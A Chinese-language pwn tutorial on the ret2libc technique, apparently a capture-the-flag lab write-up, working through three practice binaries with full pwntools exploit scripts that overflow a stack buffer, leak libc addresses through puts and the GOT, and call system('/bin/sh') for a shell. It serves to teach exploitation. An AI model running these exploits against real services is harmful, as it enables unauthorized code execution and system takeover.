ret2libc原理

ret2libc,即控制执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

具体过程为:在内存中确定某个函数的地址,并用其覆盖掉返回地址,让其指向前面确定的函数。由于 libc 动态链接库中的函数被广泛使用,所以有很大概率可以在内存中找到该动态库。同时由于该库包含了一些系统级的函数(例如 system() 等),所以通常使用这些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数,比如调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ,所以溢出数据也要包括必要的参数。

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

padding1 处的数据可以随意填充(注意不要包含 “\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of system() 是 system() 在内存中的地址,用来覆盖返回地址。padding2 处的数据长度为4(32位机),对应调用 system() 时的返回地址。因为我们在这里只需要打开 shell 就可以,并不关心从 shell 退出之后的行为,所以 padding2 的内容可以随意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在内存中的地址,作为传给 system() 的参数。

第一个问题——system()地址如何确定?

要回答这个问题,就要看看程序是如何调用动态链接库中的函数的。当函数被动态链接至程序中,程序在运行时首先确定动态链接库在内存的起始地址,再加上函数在动态库中的相对偏移量,最终得到函数在内存的绝对地址。说到确定动态库的内存地址,就要回顾一下 shellcode 中提到的内存布局随机化(ASLR),这项技术也会将动态库加载的起始地址做随机化处理。所以,如果操作系统打开了 ASLR,程序每次运行时动态库的起始地址都会变化,也就无从确定库内函数的绝对地址。在 ASLR 被关闭的前提下,我们可以通过调试工具在运行程序过程中直接查看 system() 的地址,也可以查看动态库在内存的起始地址,再在动态库内查看函数的相对偏移位置,通过计算得到函数的绝对地址。

第二个问题——“/bin/sh”字符串地址如何确定?

可以在动态库里搜索这个字符串,如果存在,就可以按照动态库起始地址+相对偏移来确定其绝对地址。如果在动态库里找不到,可以将这个字符串加到环境变量里,再通过 getenv() 等函数来确定地址。

前提条件

由前面分析可知,ret2libc这项技术的前提是需要操作系统关闭内存布局随机化(ASLR)。

ret2libc1——存在system()、/bin/sh

运行程序,提示应用ret2libc,且用file查看是动态链接文件,和libc有关:

查看保护机制,只开启了NX:

IDA查看:

搜索“/bin/sh”字符串,可通过string窗口或ROPgadget工具查找:

可知“/bin/sh”字符串所在地址为0x08048720。

因为要从libc中寻找利用函数,则可以在ida直接查看plt中是否有system()函数,发现是存在有的且地址为0x08048460:

至于用户输入的变量v4距函数返回地址的偏移地址的计算如之前所示,结果是一样的为0x70。

编写payload:

1
2
3
4
5
6
7
8
from pwn import *

sh = process("./ret2libc1")
binsh_addr = 0x08048720
libc_system_addr = 0x08048460
payload = flat(["A" * 0x70, libc_system_addr, "6666", binsh_addr])
sh.sendline(payload)
sh.interactive()

运行getshell:

ret2libc2——只有system()

运行程序,file查看文件为动态链接即和libc相关,查看保护机制只开启NX:

使用IDA打开查看:

在string窗口确实找不到“/bin/sh”:

在plt中仍可找到system()函数,地址为0x08048490:

可以发现与示例1相比,这次不直接提供“/bin/sh”,那就换种思维,多利用一个gadgets,可以在plt中看到有gets()函数,即可以将该gets()函数地址用来踩掉原本程序函数的返回地址,然后通过输入的方式将“/bin/sh”输入进去。换句话说,整个过程分成了两部分,第一部分是将“/bin/sh”读入到内存中;第二部分是执行system()获取shell:

其中可知get()函数地址为08048460。

查看gets()函数,其需要一个可读可写的指针参数,且会返回值:

寻找一块可读可写的buffer区,通常会寻找.bss段,使用IDA查看可看到存在buf2[100]数组:

明确该.bss段是否可读可写:

最后就是payload的构造了。因为在gets()函数完成后需要调用system()函数需要保持堆栈平衡,所以在调用完gets()函数后提升堆栈,这就需要add esp, 4这样的指令但是程序中并没有这样的指令。更换思路,通过使用pop xxx指令也可以完成同样的功能,在程序中找到了pop ebx,ret指令。通过ROPgadget工具查看,发现存在一条符合条件的指令,地址为0x0804841d:

编写payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process("./ret2libc2")
libc_gets_addr = 0x08048460
libc_system_addr = 0x08048490
buf2_addr = 0x0804a080
pop_ebx_addr = 0x0804841d
payload = flat(["A" * 0x70, libc_gets_addr, pop_ebx_addr, buf2_addr, libc_system_addr, '6666', buf2_addr])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

运行getshell:

ret2libc3——无system()和/bin/sh

在ret2libc2的基础上,再次将system()函数的地址去掉。此时,我们需要同时找到system())函数地址与”/bin/sh”字符串的地址。

题目分析

运行程序,file查看文件为动态链接即和libc相关,查看保护机制只开启NX:

IDA打开查看,同样是栈溢出漏洞:

在String窗口找不到“/bin/sh”字符串,在Functions窗口中也找不到system()函数:

但是在libc中是有system()函数和/bin/sh字符串的。因此,我们可以通过泄露libc中某个被调用过的函数的地址来获取libc版本,获取libc中各个偏移地址值,然后通过某个函数的真实地址计算出system()和/bin/bash的真实地址。

结合前面知道,溢出点到函数返回地址的偏移量和前面的一样,为112。

结合libc的延迟绑定机制,下面要做的是需要我们泄露某个已经执行过的函数的真实地址,实现泄露地址功能的函数可以通过puts()函数来输出打印出来实现,而参数填的是某个已经执行过的函数的GOT地址;同时为了程序再次执行能重新实现栈溢出功能,在puts()函数的返回地址填的是_start()函数或main()函数地址即可。

对于system()函数,其属于libc,在libc.so动态链接库中的函数之间相对偏移是固定的。我们由泄露的某个函数的GOT表地址可以计算出偏移地址(A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址),从而可以得到system()函数的真实地址(当然也可以直接调用pwntools的libc.address得到libc的真实地址,然后再直接查找即可找到真实的system()函数地址)。

利用过程图

以泄露puts()的GOT地址为例,构造过程如下图,红色箭头为第一次溢出调用,通过gets()栈溢出至函数返回地址处将其覆盖为puts的plt地址,将puts的GOT表地址泄露输出出来,再返回到_start()函数重新执行程序;蓝色箭头为程序第二次执行时的溢出调用,重新通过gets()输入内容栈溢出至函数返回地址处,覆盖该地址为libc中找到的system()地址(libc地址由泄露的puts函数地址计算得出),从而getshell:

利用过程小结

  1. 程序通过gets()函数获取输入的内容,存在明显的栈溢出漏洞;
  2. 在ELF中未找到system()和”/bin/sh”;
  3. 计算出输入内容地址到函数返回地址的偏移量为112;
  4. 将puts()的plt地址覆盖到函数返回地址处,通过puts()泄露某个已执行过的函数的GOT地址,并且返回地址设置为_start()或main(),以便于重新执行一遍程序;
  5. 通过recv(4)接收puts()输出泄露的某个已执行过的函数的GOT地址,再以此来计算libc中地址与真实地址的偏移量,从而计算出libc中system()函数和”/bin/sh”字符串的真实地址;或者通过泄露的某个已执行过的函数的GOT地址,直接使用pwntools的libc.address=func_got-libc.symbols[‘func’]的形式直接获取libc的真实地址,从而直接通过system_addr=libc.symbols[‘system’]的方式直接获取该函数真实地址;
  6. 程序再次执行时填充padding,在函数返回地址处覆盖为libc中system()函数的真实地址,其中参数为libc中”/bin/sh”字符串的真实地址。

payload编写

在第一次栈溢出puts()的plt地址覆盖函数返回地址时,puts()的返回地址可以设置为_start()或main()函数地址。

_start()和main()的区别

简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。

我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口:

返回地址为_start()函数

这里的示例只展示了两个可利用的函数puts()和__libc_start_main()。

泄露puts()函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
print "[*]puts plt: " + hex(puts_plt)
print "[*]puts got: " + hex(puts_got)
print "[*]_start addr: " + hex(start_addr)
print "[*]libc addr: " + hex(libc.address)
print "--" * 20
print "[*]sending payload1 to leak libc..."

payload = flat(["A" * 112, puts_plt, start_addr, puts_got])

sh.sendlineafter("Can you find it !?", payload)
puts_addr = u32(sh.recv(4))
print "[*]leak puts addr: " + hex(puts_addr)

libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
print "[*]leak libc addr: " + hex(libc.address)
print "[*]system addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)
print "--" * 20
print "[*]sending payload2 to getshell..."

payload2 = flat(["B" * 112, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

泄露__libc_start_main()函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

puts_plt = elf.plt['puts']
#puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
start_addr = elf.symbols['_start']
print "[*]puts plt: " + hex(puts_plt)
print "[*]__libc_start_main got: " + hex(libc_start_main_got)
#print "[*]puts got: " + hex(puts_got)
print "[*]_start addr: " + hex(start_addr)
print "[*]libc addr: " + hex(libc.address)
print "--" * 20
print "[*]sending payload1 to leak libc..."

#payload = flat(["A" * 112, puts_plt, start_addr, puts_got])
payload = flat(["A" * 112, puts_plt, start_addr, libc_start_main_got])

sh.sendlineafter("Can you find it !?", payload)
#puts_addr = u32(sh.recv(4))
#print "[*]leak puts addr: " + hex(puts_addr)
libc_start_main_addr = u32(sh.recv(4))
print "[*]leak __libc_start_main addr: " + hex(libc_start_main_addr)

#libc.address = puts_addr - libc.symbols['puts']
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
print "[*]leak libc addr: " + hex(libc.address)
print "[*]system addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)
print "--" * 20
print "[*]sending payload2 to getshell..."

payload2 = flat(["B" * 112, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

返回地址为main()函数

先将_start()换成main(),payload2的B字符的偏移量不变,运行脚本会报错,添加GDB调试交互发现溢出多了8个B:

相应的,减少8个B字符即112-8=104就可以有效溢出从而getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

sh = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = elf.libc

if args.M:
gdb.attach(sh)

puts_plt = elf.plt['puts']
#puts_got = elf.got['puts']
libc_start_main_got = elf.got['__libc_start_main']
#start_addr = elf.symbols['_start']
main_addr = elf.symbols['main']
print "[*]puts plt: " + hex(puts_plt)
print "[*]__libc_start_main got: " + hex(libc_start_main_got)
#print "[*]puts got: " + hex(puts_got)
#print "[*]_start addr: " + hex(start_addr)
print "[*]main addr: " + hex(main_addr)
print "[*]libc addr: " + hex(libc.address)
print "--" * 20
print "[*]sending payload1 to leak libc..."

#payload = flat(["A" * 112, puts_plt, start_addr, puts_got])
#payload = flat(["A" * 112, puts_plt, start_addr, libc_start_main_got])
payload = flat(["A" * 112, puts_plt, main_addr, libc_start_main_got])

sh.sendlineafter("Can you find it !?", payload)
#puts_addr = u32(sh.recv(4))
#print "[*]leak puts addr: " + hex(puts_addr)
libc_start_main_addr = u32(sh.recv(4))
print "[*]leak __libc_start_main addr: " + hex(libc_start_main_addr)

#libc.address = puts_addr - libc.symbols['puts']
libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search('/bin/sh'))
print "[*]leak libc addr: " + hex(libc.address)
print "[*]system addr: " + hex(system_addr)
print "[*]binsh addr: " + hex(binsh_addr)
print "--" * 20
print "[*]sending payload2 to getshell..."

payload2 = flat(["B" * 104, system_addr, "CCCC", binsh_addr])
sh.sendline(payload2)
sh.interactive()

参考

手把手教你栈溢出从入门到放弃(上)

ret2libc